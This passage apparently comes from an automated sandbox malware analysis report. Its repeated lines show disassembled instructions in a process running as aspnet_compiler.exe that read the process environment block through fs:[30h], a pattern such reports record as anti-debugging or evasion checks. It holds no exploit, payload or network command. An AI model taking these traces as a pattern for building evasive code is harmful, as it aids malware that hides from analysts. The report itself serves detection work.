                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C70C0 mov eax, dword ptr fs:[00000030h]12_2_012C70C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013320DE mov eax, dword ptr fs:[00000030h]12_2_013320DE
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132D0C0 mov eax, dword ptr fs:[00000030h]12_2_0132D0C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0132D0C0 mov eax, dword ptr fs:[00000030h]12_2_0132D0C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D90DB mov eax, dword ptr fs:[00000030h]12_2_012D90DB
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012DF32A mov eax, dword ptr fs:[00000030h]12_2_012DF32A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A7330 mov eax, dword ptr fs:[00000030h]12_2_012A7330
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137132D mov eax, dword ptr fs:[00000030h]12_2_0137132D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137132D mov eax, dword ptr fs:[00000030h]12_2_0137132D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EA30B mov eax, dword ptr fs:[00000030h]12_2_012EA30B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EA30B mov eax, dword ptr fs:[00000030h]12_2_012EA30B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EA30B mov eax, dword ptr fs:[00000030h]12_2_012EA30B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133930B mov eax, dword ptr fs:[00000030h]12_2_0133930B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133930B mov eax, dword ptr fs:[00000030h]12_2_0133930B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133930B mov eax, dword ptr fs:[00000030h]12_2_0133930B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AC310 mov ecx, dword ptr fs:[00000030h]12_2_012AC310
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D0310 mov ecx, dword ptr fs:[00000030h]12_2_012D0310
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0135437C mov eax, dword ptr fs:[00000030h]12_2_0135437C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136F367 mov eax, dword ptr fs:[00000030h]12_2_0136F367
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B7370 mov eax, dword ptr fs:[00000030h]12_2_012B7370
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B7370 mov eax, dword ptr fs:[00000030h]12_2_012B7370
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B7370 mov eax, dword ptr fs:[00000030h]12_2_012B7370
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137A352 mov eax, dword ptr fs:[00000030h]12_2_0137A352
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AD34C mov eax, dword ptr fs:[00000030h]12_2_012AD34C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AD34C mov eax, dword ptr fs:[00000030h]12_2_012AD34C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133035C mov eax, dword ptr fs:[00000030h]12_2_0133035C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133035C mov eax, dword ptr fs:[00000030h]12_2_0133035C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133035C mov eax, dword ptr fs:[00000030h]12_2_0133035C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133035C mov ecx, dword ptr fs:[00000030h]12_2_0133035C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133035C mov eax, dword ptr fs:[00000030h]12_2_0133035C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133035C mov eax, dword ptr fs:[00000030h]12_2_0133035C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01385341 mov eax, dword ptr fs:[00000030h]12_2_01385341
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A9353 mov eax, dword ptr fs:[00000030h]12_2_012A9353
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A9353 mov eax, dword ptr fs:[00000030h]12_2_012A9353
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01332349 mov eax, dword ptr fs:[00000030h]12_2_01332349
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D33A5 mov eax, dword ptr fs:[00000030h]12_2_012D33A5
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E33A0 mov eax, dword ptr fs:[00000030h]12_2_012E33A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E33A0 mov eax, dword ptr fs:[00000030h]12_2_012E33A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AE388 mov eax, dword ptr fs:[00000030h]12_2_012AE388
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AE388 mov eax, dword ptr fs:[00000030h]12_2_012AE388
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AE388 mov eax, dword ptr fs:[00000030h]12_2_012AE388
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D438F mov eax, dword ptr fs:[00000030h]12_2_012D438F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D438F mov eax, dword ptr fs:[00000030h]12_2_012D438F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0138539D mov eax, dword ptr fs:[00000030h]12_2_0138539D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0130739A mov eax, dword ptr fs:[00000030h]12_2_0130739A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0130739A mov eax, dword ptr fs:[00000030h]12_2_0130739A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A8397 mov eax, dword ptr fs:[00000030h]12_2_012A8397
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A8397 mov eax, dword ptr fs:[00000030h]12_2_012A8397
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A8397 mov eax, dword ptr fs:[00000030h]12_2_012A8397
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013853FC mov eax, dword ptr fs:[00000030h]12_2_013853FC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C03E9 mov eax, dword ptr fs:[00000030h]12_2_012C03E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C03E9 mov eax, dword ptr fs:[00000030h]12_2_012C03E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C03E9 mov eax, dword ptr fs:[00000030h]12_2_012C03E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C03E9 mov eax, dword ptr fs:[00000030h]12_2_012C03E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C03E9 mov eax, dword ptr fs:[00000030h]12_2_012C03E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C03E9 mov eax, dword ptr fs:[00000030h]12_2_012C03E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C03E9 mov eax, dword ptr fs:[00000030h]12_2_012C03E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C03E9 mov eax, dword ptr fs:[00000030h]12_2_012C03E9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136F3E6 mov eax, dword ptr fs:[00000030h]12_2_0136F3E6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E63FF mov eax, dword ptr fs:[00000030h]12_2_012E63FF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CE3F0 mov eax, dword ptr fs:[00000030h]12_2_012CE3F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CE3F0 mov eax, dword ptr fs:[00000030h]12_2_012CE3F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012CE3F0 mov eax, dword ptr fs:[00000030h]12_2_012CE3F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136B3D0 mov ecx, dword ptr fs:[00000030h]12_2_0136B3D0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BA3C0 mov eax, dword ptr fs:[00000030h]12_2_012BA3C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BA3C0 mov eax, dword ptr fs:[00000030h]12_2_012BA3C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BA3C0 mov eax, dword ptr fs:[00000030h]12_2_012BA3C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BA3C0 mov eax, dword ptr fs:[00000030h]12_2_012BA3C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BA3C0 mov eax, dword ptr fs:[00000030h]12_2_012BA3C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012BA3C0 mov eax, dword ptr fs:[00000030h]12_2_012BA3C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B83C0 mov eax, dword ptr fs:[00000030h]12_2_012B83C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B83C0 mov eax, dword ptr fs:[00000030h]12_2_012B83C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B83C0 mov eax, dword ptr fs:[00000030h]12_2_012B83C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B83C0 mov eax, dword ptr fs:[00000030h]12_2_012B83C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013363C0 mov eax, dword ptr fs:[00000030h]12_2_013363C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136C3CD mov eax, dword ptr fs:[00000030h]12_2_0136C3CD
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A823B mov eax, dword ptr fs:[00000030h]12_2_012A823B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01385227 mov eax, dword ptr fs:[00000030h]12_2_01385227
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E7208 mov eax, dword ptr fs:[00000030h]12_2_012E7208
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E7208 mov eax, dword ptr fs:[00000030h]12_2_012E7208
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A826B mov eax, dword ptr fs:[00000030h]12_2_012A826B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360274 mov eax, dword ptr fs:[00000030h]12_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360274 mov eax, dword ptr fs:[00000030h]12_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360274 mov eax, dword ptr fs:[00000030h]12_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360274 mov eax, dword ptr fs:[00000030h]12_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360274 mov eax, dword ptr fs:[00000030h]12_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360274 mov eax, dword ptr fs:[00000030h]12_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360274 mov eax, dword ptr fs:[00000030h]12_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360274 mov eax, dword ptr fs:[00000030h]12_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360274 mov eax, dword ptr fs:[00000030h]12_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360274 mov eax, dword ptr fs:[00000030h]12_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360274 mov eax, dword ptr fs:[00000030h]12_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01360274 mov eax, dword ptr fs:[00000030h]12_2_01360274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B4260 mov eax, dword ptr fs:[00000030h]12_2_012B4260
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B4260 mov eax, dword ptr fs:[00000030h]12_2_012B4260
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B4260 mov eax, dword ptr fs:[00000030h]12_2_012B4260
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012D9274 mov eax, dword ptr fs:[00000030h]12_2_012D9274
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137D26B mov eax, dword ptr fs:[00000030h]12_2_0137D26B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0137D26B mov eax, dword ptr fs:[00000030h]12_2_0137D26B
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F1270 mov eax, dword ptr fs:[00000030h]12_2_012F1270
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012F1270 mov eax, dword ptr fs:[00000030h]12_2_012F1270
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136B256 mov eax, dword ptr fs:[00000030h]12_2_0136B256
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136B256 mov eax, dword ptr fs:[00000030h]12_2_0136B256
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E724D mov eax, dword ptr fs:[00000030h]12_2_012E724D
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0133D250 mov ecx, dword ptr fs:[00000030h]12_2_0133D250
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A9240 mov eax, dword ptr fs:[00000030h]12_2_012A9240
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A9240 mov eax, dword ptr fs:[00000030h]12_2_012A9240
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01338243 mov eax, dword ptr fs:[00000030h]12_2_01338243
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01338243 mov ecx, dword ptr fs:[00000030h]12_2_01338243
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012B6259 mov eax, dword ptr fs:[00000030h]12_2_012B6259
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012AA250 mov eax, dword ptr fs:[00000030h]12_2_012AA250
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C52A0 mov eax, dword ptr fs:[00000030h]12_2_012C52A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C52A0 mov eax, dword ptr fs:[00000030h]12_2_012C52A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C52A0 mov eax, dword ptr fs:[00000030h]12_2_012C52A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C52A0 mov eax, dword ptr fs:[00000030h]12_2_012C52A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013392BC mov eax, dword ptr fs:[00000030h]12_2_013392BC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013392BC mov eax, dword ptr fs:[00000030h]12_2_013392BC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013392BC mov ecx, dword ptr fs:[00000030h]12_2_013392BC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013392BC mov ecx, dword ptr fs:[00000030h]12_2_013392BC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013792A6 mov eax, dword ptr fs:[00000030h]12_2_013792A6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013792A6 mov eax, dword ptr fs:[00000030h]12_2_013792A6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013792A6 mov eax, dword ptr fs:[00000030h]12_2_013792A6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013792A6 mov eax, dword ptr fs:[00000030h]12_2_013792A6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013462A0 mov eax, dword ptr fs:[00000030h]12_2_013462A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013462A0 mov ecx, dword ptr fs:[00000030h]12_2_013462A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013462A0 mov eax, dword ptr fs:[00000030h]12_2_013462A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013462A0 mov eax, dword ptr fs:[00000030h]12_2_013462A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013462A0 mov eax, dword ptr fs:[00000030h]12_2_013462A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013462A0 mov eax, dword ptr fs:[00000030h]12_2_013462A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013472A0 mov eax, dword ptr fs:[00000030h]12_2_013472A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013472A0 mov eax, dword ptr fs:[00000030h]12_2_013472A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EE284 mov eax, dword ptr fs:[00000030h]12_2_012EE284
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012EE284 mov eax, dword ptr fs:[00000030h]12_2_012EE284
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01330283 mov eax, dword ptr fs:[00000030h]12_2_01330283
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01330283 mov eax, dword ptr fs:[00000030h]12_2_01330283
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01330283 mov eax, dword ptr fs:[00000030h]12_2_01330283
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E329E mov eax, dword ptr fs:[00000030h]12_2_012E329E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012E329E mov eax, dword ptr fs:[00000030h]12_2_012E329E
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_01385283 mov eax, dword ptr fs:[00000030h]12_2_01385283
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C02E1 mov eax, dword ptr fs:[00000030h]12_2_012C02E1
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C02E1 mov eax, dword ptr fs:[00000030h]12_2_012C02E1
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012C02E1 mov eax, dword ptr fs:[00000030h]12_2_012C02E1
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_0136F2F8 mov eax, dword ptr fs:[00000030h]12_2_0136F2F8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_012A92FF mov eax, dword ptr fs:[00000030h]12_2_012A92FF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013852E2 mov eax, dword ptr fs:[00000030h]12_2_013852E2
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 12_2_013612ED mov eax, dword ptr fs:[00000030h]12_2_013612ED
